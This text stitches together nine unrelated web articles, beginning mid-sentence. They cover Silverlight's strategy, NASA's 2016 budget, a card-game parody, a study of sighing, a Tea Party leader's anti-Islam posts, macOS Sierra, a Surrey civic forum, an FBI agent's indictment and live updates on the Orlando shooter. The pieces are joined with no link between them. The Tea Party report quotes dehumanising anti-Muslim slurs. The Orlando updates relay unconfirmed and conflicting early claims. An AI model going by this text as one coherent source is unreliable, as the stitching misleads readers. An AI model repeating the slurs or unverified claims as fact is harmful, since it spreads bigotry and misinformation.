high-performance, standards-compliant, HTML5 machine. The current emphasis on HTML5 should not come as a surprise to anyone.  The development of Internet Explorer 9 should have been a wake-up call to Silverlight developers.  And it's not just the Internet Explorer team making a big noise about HTML5. Even the Silverlight team, in a blog post dating back to September, acknowledged Microsoft's commitment to HTML5. The post does two things. First, it positions Silverlight not as a replacement for HTML5, but as an adjunct to HTML5. There are certain things that HTML5 can't do—for example, stream DRM-protected video—that Silverlight can. HTML5 may be the main way of delivering Web applications, but this doesn't mean that there aren't niches where Silverlight (or, for that matter, Flash) is appropriate.  Second, the post draws attention to non-Web uses of Silverlight. Silverlight can be used to develop applications that exist outside the Web browser in two areas. One, Silverlight can be used for desktop applications. They still use the Silverlight runtime, but are launched and run as if standalone. The Seesmic Desktop social networking client is a good example. It's built using Silverlight, but it looks and feels like a regular program (albeit one with a slightly quirky interface).  Two, and this is the one that is strategically most important to Microsoft, Silverlight is the primary development tool for Windows Phone 7. It's not the only tool—games will generally use the XNA Framework instead—but most non-game applications will use Silverlight.  If Silverlight developers didn't see the change in strategies coming, then it's not because Microsoft was making some big secret of it, and it certainly shouldn't surprise anyone. Frankly, Bob Muglia was not even announcing a new strategy: he was describing the strategy already taken, the one already elucidated by the Silverlight team, and already plain at least since the release of the first Internet Explorer 9 platform preview.  The Apple issue  The big reason for this change in strategy is that HTML5 will, one day, be cross-platform in a way that Silverlight probably won't ever be. Part of this is Microsoft's own fault—the company produced first-party Silverlight versions for Windows and Mac OS X but left Linux support to Novell's Moonlight, and did little to encourage .NET development on iOS or Android—but a big part of the problem is iOS. Apple refuses to allow browser plugins, and is reluctant even to allow standalone applications developed using alternative frameworks. If Microsoft wants to embrace iOS devices, HTML5 is the only real option.  Adobe faces a similar issue with Flash—it too isn't welcome on iOS—but Adobe has nonetheless attempted to bridge the gap. The latest set of Flash tools can produce standalone programs that Apple will, begrudgingly, accept into the store. Adobe has also worked to produce a Flash plugin for Android and Linux, and is expected to produce one for Windows Phone 7 too.  So what does this new focus for Silverlight—standalone applications, phone applications, and filling the gaps in Web applications—mean for the framework and its developers?  Silverlight's new direction  It certainly doesn't mean that Silverlight is no longer important. If anything, the opposite is true. Silverlight is more important now than it has ever been. Just not in a way that was originally envisaged.  The truth is, Silverlight as a Flash-killer never quite made sense. The runtime, just as with the Flash runtime, is given out for free anyway, and though Microsoft may sell a few extra copies of Visual Studio or Expression Blend to Silverlight developers, it was never going to be a huge money-maker. And it was never likely to displace Flash; Silverlight's more programmer-y approach may well have appealed to developers of Web applications, but it also meant it was unlikely to ever appeal to creators of Flash animations. So the loss of this market to HTML5 probably isn't catastrophic: Silverlight was never likely to win here.  Silverlight's new importance stems not from Web applications, but Windows Phone 7. If Microsoft doesn't make a success of Windows Phone 7 then the company's chances of making any money from the smartphone market are negligible. Smartphones are, potentially, an enormous growth market, important not just in their own right, but as a component of a broader market of highly portable, touch-driven devices. A rich selection of high-quality third-party applications is a key part of this, and these applications will generally use Silverlight. For as long as Windows Phone 7 is a going concern, Silverlight will remain a top priority.  This might seem small comfort to existing Web-oriented Silverlight developers, as phone development is a very different beast than Web development. In some ways, it's a much narrower market: most developers are writing internal applications for use by the employers, and these employers are much less likely to want phone applications than they are Web applications. But in other ways, it should be rather broader: a new market of end-user, "shrinkwrap" software has opened up that didn't exist before.
-NASA Administrator Charles Bolden (center) speaks to a crowd of agency officials and dignitaries during a State of NASA speech to unveil the 2016 budget proposal at the Kennedy Space Center in Florida. NASA's Orion spacecraft (rear center), SpaceX's Dragon capsule (right) and Boeing's CST-100 spacecraft serve as a backdrop.  The White House budget proposal for NASA in 2016 calls for a $500 million boost over the 2015 enacted budget and would keep NASA on its path to Mars, NASA chief Charles Bolden says.  The $18.5 billion budget request, presented by Bolden today (Feb. 2), includes funding for developing a mission to Jupiter's moon Europa, and the agency's asteroid redirect mission (ARM). Officials think ARM could help pave the way for crewed missions to the Red Planet by the 2030s.  "NASA is firmly on a journey to Mars," Bolden said. "Make no mistake, this journey will help guide and define our generation." [Red Planet or Bust: 5 Manned Mars Mission Ideas]  The new fiscal year 2016 budget, if enacted as it stands now, doesn't come without sacrifice. If the budget request proceeds as is, NASA could end the long-running Opportunity rover's mission on Mars next year. Officials with the space agency cited Opportunity's "signs of age, including recent problems with its flash memory," as cause for ending its operations in the budget proposal.  Officials still aren't sure that the program will end, however. NASA Chief Financial Officer David Radzanowski said that officials will re-evaluate the planned ending of the mission during the next year to see if it makes sense to keep the rover online going forward. Like the new budget request, NASA officials also expected Opportunity's mission to end in fiscal year 2015, but they found the money to keep it going, Radzanowski added. Opportunity has been roaming the surface of the Red Planet for more than 10 years.  The NASA budget request would also end operations for the Lunar Reconnaissance Orbiter (LRO for short), but, like Opportunity, officials are looking for additional funding to keep the mission going through fiscal year 2016, Radzanowski said. It was also unfunded in the initial 2015 budget before more money was secured. LRO has been orbiting the moon since 2009, helping scientists learn more about lunar water and map the lunar surface.  NASA's Orion spacecraft program — designed to bring humans to deep-space destinations like Mars — and Space Launch System mega-rocket are funded under the budget request. Orion is expected to receive about $1.1 billion for 2016, with the SLS receiving about $1.35 billion. Both programs are funded at lower levels than the budget enacted in 2015.  On the whole, Bolden sees NASA's future as bright.  "That the idea we’re adrift is an empty hook trying to catch yesterday's fish," Bolden said. "I couldn't be more excited about our future. We're making steady progress and continuing to reach for new heights."  The new budget request also includes funds for the continuation of the Commercial Crew Program, designed to help private companies create space systems that can ferry astronauts to and from the International Space Station. The program is getting a boost this year, with about a $1.2 billion budget, up from the $805 million allotted in 2015. The private spaceflight companies Boeing and SpaceX are tasked with delivering astronauts to the station under the program by 2017.  Under the proposed budget, NASA should be given a little less than $5.3 billion for science missions, including $620 million to continue the development of the James Webb Space Telescope, expected to launch as the Hubble Space Telescope's successor in 2018.  The science budget amount also includes $1.36 billion for planetary science, with funds earmarked for developing the agency's plan to launch a mission to Europa, according to a budget fact sheet.  The request also asks NASA to develop the next in the series of Landsat satellites, Earth-gazing missions that monitor the planet's climate and observe the planet's deforestation among other objectives.  "I can unequivocally say that the state of NASA is strong," Bolden said.  Learn more about the NASA budget directly through the space agency: http://www.nasa.gov/news/budget/index.html#.VM_sC2TF_hr  Follow Miriam Kramer @mirikramer. Follow us @Spacedotcom, Facebook and Google+. Original article on Space.com.
-Description: Hitler doesn't like the new meta after the Heroes of Skyrim drop  Heroes of Skyrim has been released  and we are hoping to build some decks.  We particularly thought you would be  interested in a couple of cards specifically:  Echo of Akatosh and Praetorian Commander  Just another failed attempt to make token decks relevant, I assume  Not exactly...  Not tokens...  Tokens aren't effected at all  Summoning them gives your whole deck keywords or stat bonuses  If you quit Hearthstone because of RNG, leave the room now.  Of all the insanity!  That much raw value for 6 mana is insane!  Do they think people enjoy facing 2-mana 7/5s?  We might as well all just dust our Odahviings now-  he'll do nothing at all to a board full of giant monsters!  I'll have to use hard removal on two drops  because they'll be too huge to ignore!  But sir, playing a 3/3 on turn 6 is a huge tempo loss!  Their next turn could be a 6/4 drain!  Just win before turn 6 and you'll be fine...  I'm not interested in a game that locks me into aggro!  We had a diverse meta!  So many different viable builds,  endless possibilities and the excitement  of trying to outguess your opponent each game!  Now it's just the haves vs the have nots  and what they "have" is an 8/7 with charge, drain, and ward for 3 mana!  You can't play around this,  there's no counter to it except getting there first!  I was so excited for this set to drop,  I saved up my gold and soul gems-  now only two cards even matter.  My sorcerer,  my beautiful midrange archer that I put so much work into...  They're just trash now, soul trap fodder.  What good is Unstoppable Rage  when opp's lanes are full of cheap giant monsters  and they still have mana left over to javelin?  Don't worry, Gerda, you can still play arena.  Deck building is no fun any more.  I feel like Ulfric when he was lost in Alduin's Mist.  It's all over.  I'm selling my account.  All our dreams of attracting Hearthstone veterans and passing up Shadowverse  have been wiped out by two little cards.  Let's see what's on Steam sale.
-News in Science  Human sigh acts as a reset button  Scientists studying breathing patterns think they have found the reason we sigh: To reset breathing patterns that are getting out of whack and keep our respiratory system flexible.  The study entailed rigging up eight men and 34 women with sensor-equipped shirts that record their breathing, heart rates and blood carbon dioxide levels over 20 minutes of quiet sitting.  What the researchers at the University of Leuven in Belgium were looking for were specific changes over one-minute periods encompassing sighs that could confirm or contradict the "re-setter hypothesis" for the function of sighing. And they think they found it.  "Our results show that the respiratory dynamics are different before and after a sigh," writes Elke Vlemincx and her co-authors in the latest issue of the journal Biological Psychology. "We hypothesise that a sigh acts as a general re-setter of the respiratory system."  The re-setter hypothesis is based on the idea that breathing is an inherently dynamic and rather chaotic system, with all sorts of internal and external factors changing how much oxygen we need and keeping our lungs healthy and ready for action.  This sort of system requires a balance of meaningful signals and random noise to operate correctly.  Occasional noise in a physiological system, like the respiratory system, is essential because it enables the body to learn how to respond flexibly to the unexpected, says Vlemincx.  "A sigh can be considered a noise factor because it has a respiratory volume out of range," she says.  Loosening up  In this experiment, a sigh was defined as at least two times as large as the mean breath volume.  "A breath is defined by a specific volume (depth), the amount of air we breathe in and out, and a specific timing, the time it takes to breathe in and out," says Vlemincx. "Both these characteristics vary: from one moment to the next we breathe slower, faster, shallower, deeper."  Vlemincx says that when breathing is in one state for too long, the lungs deteriorate. They become more stiff and less efficient in gas exchange.  So in times of stress, when breathing is less variable, a sigh can reset the respiratory system and loosen the lung's air sacs, or alveoli, which may be accompanied by a sensation of relief, says Vlemincx.  Knowing this, it would seem logical then to add some sighs to the breathing regimes of people on mechanical, ventilators. As it turns out, it has been tried.  "If you put in a few sigh breaths, people feel better," says Frank Wilhelm a clinical psychologist at the Universit�t Basel in Switzerland.  Wilhelm has studied the role of breathing in psychological disorders extensively.  Over doing it  On the other hand, too much sighing can add too much noise to the system and can also throw the system out of whack. This appears to be what happens to people experiencing panic attacks, says Wilhelm.  "Panic victims don't recover from sighing," says Wilhelm.  In fact, people experiencing panic attacks have been long observed to involve a great deal of sighing, and show all the symptoms of hyperventilation: dizziness, numbness in the extremities, etc., he says.  For that reason a training program involving biofeedback was developed to help panic disorder victims get control of their sighing. It works, says Wilhelm, and further confirms the re-setter hypothesis for sighs.  "It's like a miracle cure, when you think about it," he says.
-In an apparent bid to stoke further controversy, the Tea Party leader who last week referred to Allah as a “Monkey God” has apologized — but to Hindus, not Muslims. And in an earlier blog post, now removed, he refers to Islam as a “7th Century Death Cult coughed up by a psychotic pedophile.”  Mark Williams, the conservative radio talker and chair of the Tea Party Express yesterday posted an “apology” for the “Monkey God” post he wrote last week:  A few days ago I wrote an article critical of a monument to the 911 hijackers to be built at Ground Zero and scheduled to open on 9/11/11. I can only assume the date is only to emphasize the perverted message of the monument. The only thing sicker is that Americans will not only allow it but that they will defend it. In the course of the article I described the “god” worshiped by terrorists as “a monkey god”. I was wrong and that was offensive. I owe an apology to millions of Hindus who worship Lord Hanuman, an actual Monkey God. Moreover, Hanuman is worshiped as a symbol of perseverance, strength and devotion. He is known as a destroyer of evil and to inspire and liberate. Those are hardly the traits of whatever the Hell (literally) it is that terrorists worship and worthy of my respect and admiration not ridicule. So, again, to my Hindu friends I offer my sincerest apologies for my horrible lapse and my insensitivity. It was unintentional, inexplicably ignorant and I am ashamed at my offense toward you.  We’ve also found some earlier examples of Williams expressing his feelings about Islam — and they make the Monkey God line look tame.  Last year, in a post that has since been removed, he responded to news of a failed terror attack in New York by writing:  [R]epeat after me: Islam is a 7th Century Death Cult coughed up by a psychotic pedophile and embraced by defective, tail sprouting, tree swinging, semi-human, bipedal primates with no claim to be treated like human beings or even desirable mammals for that matter.  And later that year, in a post titled “Savage Islam,” he wrote:  Muhammad instructs all Muslims to use whatever it takes to murder innocents and die in the process, the more violent the better. Even better than that, use the tools of civilized Man against civilized Man. No matter how tame an adherent to Islam may appear, they are still Muslim and just waiting for allah to provide them with an opportunity.  None of this seems to concern the Republican operatives who founded and run Tea Party Express, for which Williams continues to serve as a frequent spokesman. In response to the “Monkey God” comment, they told TPMmuckraker that it had nothing to do with them because it was written on Williams’s personal blog. We’ll let you know if they feel differently about the “death cult” line.
-It’s official: OS X is now macOS, and it’s being tagged as ‘Sierra.’  With continuity, Apple is adding auto-unlock. Instead of having to type a password, you can use an iPhone or Apple Watch to authenticate a Mac.  There is also a universal clipboard feture. Text copied on your iPhone can now be pasted on a Mac.  Apple is also optimizing storage on Macs by offloading older files to iCloud when you’re running out of space on your computer. If you have files you know you won’t need, like redundant email stuff, Apple will also manage that by destroying your junk. Apple says it saw a 5x improvement in available space.  Apple Pay is also coming to the Mac via the Web. When you shop online, a ‘pay with Apple Pay’ button lets you authenticate a purchase on your iPhone using Touch ID.  Your messy tabs are also getting cleared up with support for third party apps, and developers don’t need to do a thing. It’ll happen automatically.  If you like watching video on the Web, and videos go picture-in-picture so you can keep working across apps.  Siri!  And as expected, Siri is coming to the desktop. It’s the same experience you’ll find on your phone, more or less. She’s housed in the Dock as well as the Menu Bar.  Of course, she’ll have some insight into your Mac, and it’s mostly the same as you’ll find in Spotlight search. So, if you ask Siri to open up a file, she can; it just saves you the step of looking things up in Spotlight.  Interestingly, you can pin your recent Siri searches to the notifications bar.  Siri can also search the Web — just like on the iPhone. The neat trick there is that you can drag things like pictures into a document or a app like Notes. You can also message people with voice.  Developers can access macOS Sierra today, and the public beta is launching this Summer.  Read next: Apple announces iOS 10, and it's jam-packed with features
-As the world has turned to the Internet to have conversations, cities are trying to catch up.  To that end, Surrey decided to leapfrog ahead Wednesday with a new online forum that will be the first of its kind in Western Canada, part of growing efforts by civic governments to talk to their citizens.  Mayor Dianne Watts announced the city is kicking off a partnership with interactive market researcher Vision Critical aimed at getting thousands of Surrey residents and business owners to become part of a group ready to weigh in on everything from off-leash dog parks to new condo developments.  Story continues below advertisement  "We want to make sure the community has another avenue for input and discussion on relevant topics and ideas that are important today," said Ms. Watts, who announced the project during her annual state of the city address. The one-year pilot will cost $50,000.  Later, she added that the issue of how to get public input is particularly crucial for Surrey because it is such a young community, where a lot of people are too busy with families to spend hours at public meetings.  But mayors of both young and old cities are pondering the online world these days.  "These are popping up around the world," said Susanna Haas Lyons, a Vancouver public-engagement specialist. "It's helping to meet the needs of people who don't have a lot of time but do want to participate."  Although Ms. Watts said in her speech that the initiative, which will be called City Speaks: Your Surrey, Your Say, is the first in Canada, Ms. Lyons said the region of Halton in Ontario has tried something similar.  A spokeswoman for Vision Critical said this kind of public dialogue is in a pioneering stage.  "This is about trying to get new people into the conversation," said Shachi Kurl, whose company has tried this with one other city, in Australia.  Story continues below advertisement  Story continues below advertisement  Cities have found themselves struggling to talk to the public in recent years, as citizen groups start Facebook campaigns or create their own websites to oppose city initiatives.  Although cities have a much stronger tradition of public consultation than provincial and federal governments, they've relied on public meetings and open houses.  That has evolved into an exercise for various groups in seeing who can get the most supporters out to those meetings, send the most e-mails to the mayor and council or "vote" the most often in online polls.  Experts say an online forum that allows people to participate in a lengthy conversation on their own time, in their own homes, can help mitigate that.  The "long-term, continuing nature of consultation means it's harder for NIMBYs or other motivated interest groups to 'stack' an online consultation," said Ms. Kurl. "It's more than a matter of showing up to a meeting."  She noted that polls show only 31 per cent of people say they're willing to show up to a council meeting to voice their opinion on an issue, but 59 per cent said they'd participate in an online consultation.  Story continues below advertisement  Surrey recently went through a tumultuous debate over a casino. Part of the argument that erupted was whether the number of people at the meetings or the number of names on an "online petition" were really representative of the whole community.  Other cities have used online technology to survey residents about specific issues but have not developed a pool of people who can be surveyed about many things over time, as Surrey is attempting.  Ms. Lyons said that, while an online forum like Surrey's can be a powerful tool for both residents and city staff and politicians, it has its limitations.  "You need to sign up and give information to a government entity. You will have some people with a higher degree of comfort with that and lower privacy thresholds and others that don't have that. There can be some demographic splitting there."
-An indictment accusing an FBI agent of lying to hide that he fired two shots at Robert "LaVoy" Finicum and missed caps an 18-month investigation that began with Oregon sheriff's detectives who followed "where the evidence led," their commander said Wednesday.  Deschutes County Sheriff Shane Nelson credited his investigators for their tenaciousness and said he was "disappointed and angry'' that the FBI agent's alleged deceit and actions "damage the integrity of the entire law enforcement profession.''  The sheriff also revealed that FBI leaders, told of his department's findings more than a year ago, didn't put the agent or four of his colleagues on leave. They were all members of a Hostage Rescue Team assigned to help arrest the leaders of the armed takeover of the Malheur National Wildlife Refuge.  The indictment of W. Joseph Astarita, 40, of New York casts a shadow on the highly trained team.  "The Hostage Rescue Team is among the most elite units in the bureau and the idea that someone could be engaged in a firearm discharge in such a high-profile case and then allegedly withhold information is an extraordinary and serious charge," said Brian Levin, a former New York Police officer who has worked closely with the FBI and now is director of California State University's Center for the Study of Hate and Extremism. "It's extraordinarily disappointing."  The indictment also will almost certainly fuel Finicum supporters and others fighting government control of public land.  "I'm encouraged. I'm thrilled that the grand jury came back with this finding,'' said Finicum's widow, Jeannette Finicum. Her husband was an Arizona rancher who served as the occupation's primary spokesman, known for the distinctive cowboy hat and earmuffs he wore during the winter siege.  She said Astarita's early shots may have contributed to the firing of the fatal gunshots moments later by two state police troopers who killed her husband on Jan. 26, 2016. She has given notice to the FBI that she intends to file a civil lawsuit claiming excessive force in her husband's death.  Astarita, wearing a dark gray pinstriped suit, white shirt and red-and-blue striped tie, showed no emotion as he sat beside his lawyer in a packed federal courtroom with extra security posted throughout the Mark O. Hatfield Courthouse.  Defense lawyer Alison Clark entered not guilty pleas on Astarita's behalf to the five-count indictment unsealed Wednesday. It charges Astarita with three counts of making false statements and two counts of obstruction of justice.  U.S. Magistrate Judge Janice M. Stewart set a trial date for Aug. 29. Assistant U.S. Attorney Pamala Holsinger estimated a trial would last one week. Astarita made no statements during the two-minute hearing.  The indictment says Astarita "falsely stated he had not fired his weapon during the attempted arrest of Robert LaVoy Finicum, when he knew then and there that he had fired his weapon.''  Between Jan. 26, 2016 and Feb. 6, 2016, Astarita is accused of concealing from Oregon investigators that he fired his weapon and lying to three supervisory FBI agents about his shots, which avoided a required call to the FBI's Shooting Incident Response Team to investigate.  "Defendant acted with the intent to hinder, delay and prevent the communication of information from the Oregon State Police to the Federal Bureau of Investigation relating to the possible commission of a federal offense,'' the indictment says.  Astarita will remain out of custody pending trial. Federal prosecutors referred repeatedly to Astarita as an FBI special agent. According to FBI headquarters, Astarita remains employed in an administrative capacity.  LaVoy Finicum shooting: FBI agent faces 5-count indictment W. Joseph Astarita, who was a member of the FBI Hostage Rescue Team, is accused of failing to alert the FBI's Shooting Incident Response team to investigate his officer-involved shooting, lying to two supervisor FBI agents and concealing to investigators that he had fired his weapon on Jan. 26, 2016, the indictment says.  Astarita is accused of firing twice at Finicum as Finicum emerged from his white Dodge truck after swerving into a snowbank to avoid a roadblock on U.S. 395 in Harney County. Finicum had just sped away from state police and FBI agents who stopped occupation leaders traveling in a two-car convoy earlier on the highway. He nearly struck another FBI agent when he crashed at the roadblock, police said.  Astarita's bullets didn't hit Finicum, 54. The sheriff's investigators concluded that Astarita fired twice at the truck, hitting it in the roof and missing on the second shot.  Seconds later, state troopers shot Finicum three times after he stepped away from his pickup and reached for his inner jacket pocket, where police said he had a loaded 9mm handgun. Bullets struck him in the back and one pierced his heart, an autopsy found.  Oregon's U.S. Attorney Billy J. Williams was adamant that the FBI agent's indictment hasn't tainted the state troopers' decision to shoot Finicum.  "Special Agent Astarita's alleged actions that led to this investigation and indictment do not, in any way, call into question the findings" of Deschutes County investigators into the Oregon State Police officers' use of deadly force, Williams said. "OSP's actions were justified and necessary in protecting officer safety.''  Prosecution of FBI agents is rare The indictment of FBI agent W. Joseph Astarita stands out because it's unusual for any of the bureau's nearly 13,000 special agents to be charged with crimes.  Justice Department Inspector General Michael Horowitz, working with the Deschutes County Major Incident Team, investigated the FBI team's actions.  Sheriff Nelson criticized the FBI for failing to place Astarita and the other Hostage Rescue Team agents on paid leave when he and investigators traveled to FBI headquarters over a year ago. They briefed the FBI's then-Deputy Director Andrew McCabe, now acting director, about their findings and the FBI's potential criminal liability in February 2016, the sheriff said. Nelson said he was told within the last month that the agents weren't put on leave.  "Today's indictment will ensure that the defendant and hopefully any other HRT members will be held accountable through the justice process,'' Nelson said.  He applauded the U.S. Attorney's Office for its attention to the case. "They took their time and got it right," he said.  The FBI and state police moved in on Ammon Bundy and other key occupation figures as they were driving from the refuge to a community meeting about 100 miles away in John Day.  None of the Hostage Rescue Team members admitted to discharging their guns during the confrontation, Nelson said last year in announcing the investigation's results. A state trooper later described to investigators seeing two rifle casings in the area where the FBI agents were posted. But detectives who arrived later at the scene to investigate didn't find the casings, police reports indicated.  Waco and Ruby Ridge: Past FBI armed siege fiascos The indictment of an FBI agent in the roadblock confrontation where Oregon standoff spokesman Robert "LaVoy" Finicum died follows high-profile FBI fiascos involving its handling of armed sieges.  The indictment follows two federal trials against refuge occupiers accused of conspiring to impede U.S. Fish and Wildlife Service and U.S. Bureau of Land Management employees from doing their work through intimidation, threat or force during the takeover. The occupation began Jan. 2, 2016, and lasted 41 days.  Its leaders said they were there to support two Harney County ranchers ordered back to prison to serve out terms for setting fire to public land. They also protested federal management of the refuge and wanted to turn it over to local control.  Ammon Bundy, his older brother Ryan Bundy and five other defendants were acquitted of conspiracy and weapon charges last fall. Two other defendants were found guilty of conspiracy after a trial this year. Others were found guilty of misdemeanor charges, including trespass. Eleven other refuge occupiers pleaded guilty to the federal conspiracy charge.  The indictment drew praise from Brian Claypool, the Finicum family's lawyer, who said he believes that the agent didn't admit to the shooting because at the time Finicum "was not posing a risk of serious harm'' and the shots escalated the situation.  "This is about upholding public trust and preserving the integrity of any investigation involving a death at the hands of law enforcement,'' he said.  It's unclear if any of the other members of the Hostage Rescue Team will face sanction. While Oregon's U.S. attorney wouldn't comment, the Deschutes County sheriff said his office is working with the inspector general on a continuing investigation. He referred to his investigators' focus on "subsequent concerning actions'' of some other members of the FBI's Hostage Rescue Team after Astarita's gunshots.  Travis Hampton, Oregon State Police superintendent, said he was discouraged by the FBI agent's alleged actions, but they don't represent the FBI or the hundreds of others who were involved in the arrests of the occupation leaders.  When the investigation was announced last year, criminal justice experts said they were stunned that an FBI agent might lie about firing his gun. That the bullets missed their apparent target drew even more disbelief.  The FBI's deadly force policy is the same as Oregon's. Agents can use deadly force if they believe they or someone else are at risk of death or serious injury. They're also trained to consider a moving vehicle as a potential "deadly weapon" and to stop it by incapacitating the driver.  Danny Coulson, who led the FBI office in Oregon from 1988 to 1991, called the federal charges "devastating."  A conviction for making false statements could bring up to five years in prison; a conviction for obstruction of justice could bring up to a 20-year sentence.  The FBI likely will do its own administrative inquiry, said Coulson, the first commander of the FBI's Hostage Rescue Team and an FBI deputy director during the bloody 1992 shootout in Ruby Ridge, Idaho. He now runs a security consulting business in Texas.  "It's a very serious thing. Let's let the criminal justice system play out," he said. "Nobody's above the law."  -- Maxine Bernstein  mbernstein@oregonian.com  503-221-8212  @maxoregonian
-Update: 16:24 ET: After the FBI dismissed their 2013 and 2014 interviews with Orlando shooter Omar Mateen as "inconclusive," the Bureau interviewed him again later about his contacts with Moner Mohammad Abusalha, the first US citizen to carry out a suicide bombing in Syria, the AFP has reported. "We determined the contact was minimal and did not constitute a substantive relationship or a threat at that time," FBI Special Agent Ronald Hopper told reporters. In retrospect, it appears to have been more more than just minimal.  * * *  Update 15:50 ET: Accoding to an FBI official, Omar Mateen was acting alone, adding during a press briefing that the investigators are not looking for any second suspect.  . @FBI we do NOT have a second suspect that we are looking for. pic.twitter.com/p6O4TGFfuw — Orlando Police (@OrlandoPolice) June 12, 2016  * * *  Update: 15:34 ET: During a press briefing, an FBI official confirmed that Mateen called 911 and “stated his allegiance to Islamic State.” He added that the FBI first became aware of Mateen in 2013, when he made derogatory and inflammatory comments to his co-workers, alleging possible terrorist ties, an FBI official told journalists during the briefing. The FBI interviewed him twice in 2013 but was unable to verify the substance of his comments. Mateen was then once again questioned by the FBI in 2014 about his possible connections to a known US terrorist suicide bomber, the official said, adding that the questioning revealed that their contacts were minimal and Mateen had not been considered a threat.  * * *  Update 15:30 ET: According to the Orlando Police and federal officials, Mateen legally bought two guns last week, federal officials said. The suspect "purchased a handgun and a long rifle within the last few days," Trevor Velinor, assistant special agent in charge at the ATF Tampa Field Division, told reporters at a briefing.  * * *  Update 13:32 ET: Omar Mateen, who several years ago changed his name from just Omar Mir Seddique and added the Mateen part to his official name, is now said to have pledged allegiance to ISIS. As the Post reports, Omar Mateen had committed himself to ISIS before carrying out the bloodiest mass murder in US history at a gay nightclub in Orlando on Sunday, federal officials said. ateen “made a pledge of allegiance to ISIS,” California Rep. Adam Schiff, the top Democrat on the House Permanent Select Committee on Intelligence, told CNN.  And in an even more surprising update, NBC reports that moments before the shootings, Omar Mateen called 911 to pledge allegiance to ISIS.  Orlando gunman called 911 moments before shooting and pledged allegiance to leader of ISIS, sources tell NBC News https://t.co/0XkMoA2xo2 — NBC News (@NBCNews) June 12, 2016  * * *  Update 13:15 ET: According to WaPo, the ex-wife of the 29-year-old shooting suspect said he was violent and mentally unstable and beat her repeatedly while they were married. The ex-wife said she met Omar Mateen online about eight years ago and decided to move to Florida and marry him. At first, the marriage was normal, she said, but then he became abusive.  “He was not a stable person,” said the ex-wife, who spoke on the condition of anonymity because she feared for her safety in the wake of the mass shooting. “He beat me. He would just come home and start beating me up because the laundry wasn’t finished or something like that.”  * * *  Update 12:55 ET: A picture of the suspected attacker - who was earlier identified as Omar Mateen - has now been published by CBS news.  More pictures:  * * *  Update 12:35 ET: Cited by CNN, Congressman Adam Schiff, the top Democrat on the House Permanent Select Committee on Intelligence, said that Orlando nightclub shooter Omar Mateen "made a pledge of allegiance” to Islamic State and was “heard praying in a foreign language.” Earlier, Senator Bill Nelson also talked about the alleged links between Mateen and Islamic terrorists.  "I asked the FBI if there was any connection to Islamic radicalism. There appears to be. But they are naturally cautious and waiting throughout to see if if this is [in fact true]," Nelson said at a news conference on Sunday.  My full statement on the #Orlando shooting this morning: pic.twitter.com/viERHIljen — Adam Schiff (@RepAdamSchiff) June 12, 2016  * * *  Update 12:25 ET: Mir Seddique, the Afghan immigrant father of the suspected shooter, says it is intolerance of homosexuality, and not affiliations with radical Islam, that likely provoked the attack. "This has nothing to do with religion," he told NBC, stating that he was “in shock like the whole country.” He went on to relate a “recent incident” that demonstrated his son’s attitudes. "We were in Downtown Miami, Bayside, people were playing music. And he saw two men kissing each other in front of his wife and kid and he got very angry. They were kissing each other and touching each other and he said, 'Look at that. In front of my son they are doing that.' And then we were in the men's bathroom and men were kissing each other."  * * *  Update 12:23 ET: The shooting "appears to be connected to Islamic radicalism" according to Florida Senator Ben Nelson  #Orlando shooting "appears to be connected to Islamic radicalism" - Florida Sen Bill Nelsonhttps://t.co/rVSzoSakq0 https://t.co/jdFI52iT8E — BBC Breaking News (@BBCBreaking) June 12, 2016  * * *  Update: 12:10 ET: Take this with a grain of salt (source is CNN), but according to Breaking911, an FBI source reported to CNN that the shooter was known as suspected ISIS sympathizer  BREAKING: FBI Source Reported To CNN That Shooter Was Known As Suspected ISIS Sympathizer - https://t.co/uzG33o5JaH pic.twitter.com/wVyFszpRlQ — Breaking911 (@Breaking911) June 12, 2016  * * *  Update: 12:07 ET: CBS reports that Omar Mateen was on law enforcement radar in last five years,  JUST IN: Omar Mateen was on law enforcement radar in last five years, @jeffpeguescbs reports https://t.co/yjXjCLx2Hm pic.twitter.com/Wm5aamNN4v — CBS News (@CBSNews) June 12, 2016  * * *  Update 11:24 ET: ABC reports that Mateen's parents were born in Afghanistan, and he was "on the radar" of U.S. officials for some time, but was not the target of a specific investigation, law enforcement officials told ABC News.  * * *  Update 11:15 ET: According to the gunman's father, the shooting had nothing to do with religion, and adds that his son got enraged after seeing men kissing recently.  Father of suspect in Orlando massacre tells NBC News his son was enraged after seeing two men kissing recently https://t.co/RrFwArkZqt — NBC News (@NBCNews) June 12, 2016  The suspected gunman in today's gruesome Orlando nightclub shooting which killed at least 50 and injured 53, has been identified by relatives and law enforcement officials as Omar Mateen, a 29-year-old from Fort Pierce, Florida, CBS reports. According to social media, he is a US citizen, born in 1986, from Port Saint Lucie, FL. and both his parents are from Afghanistan. He was a registered democrat with a security officer and firearms license. Florida Congressman Alan Grayson adds that he believes the attack is "more likely than not" ideologically motivated.  NBC's Pete Williams reports that terrorist was on a "watch list" over associations w "suspicious" people several years ago.  The Orlando Mayor said Mateen was armed with a hangdun as well as an AR-15 assault rifle.  CBS added that the FBI is currently checking if he was linked to extremists.  According to BBC, Mateen was not on any terrorism watch list, although as CBS also adds Islamic terrorism is being investigated as one of the possible motives behind the mass shooting.  CNN adds that the suspected Orlando gunman was trained in use of weapons.  Suspect in #Orlando, Omar Mateen is U.S. citizen from Port Saint Lucie, FL. His parents are from Afghanistan. He was born 1986. — Ahmed Shihab-Eldin (@ASE) June 12, 2016  JUST IN: Orlando nightclub shooter ID'd as Omar S. Mateen, law enforcement sources tell @CBSNews https://t.co/zcv0mxzLiR — CBSN (@CBSNLive) June 12, 2016  Some more details on the alleged shooter as disclosed on Find the Data, disclose that he was a registered Democrat in the 18th Congressional District.  A search of the Florida Department of Agriculture and Consumer Services database reveals that Mateen had security officer and firearms licenses:
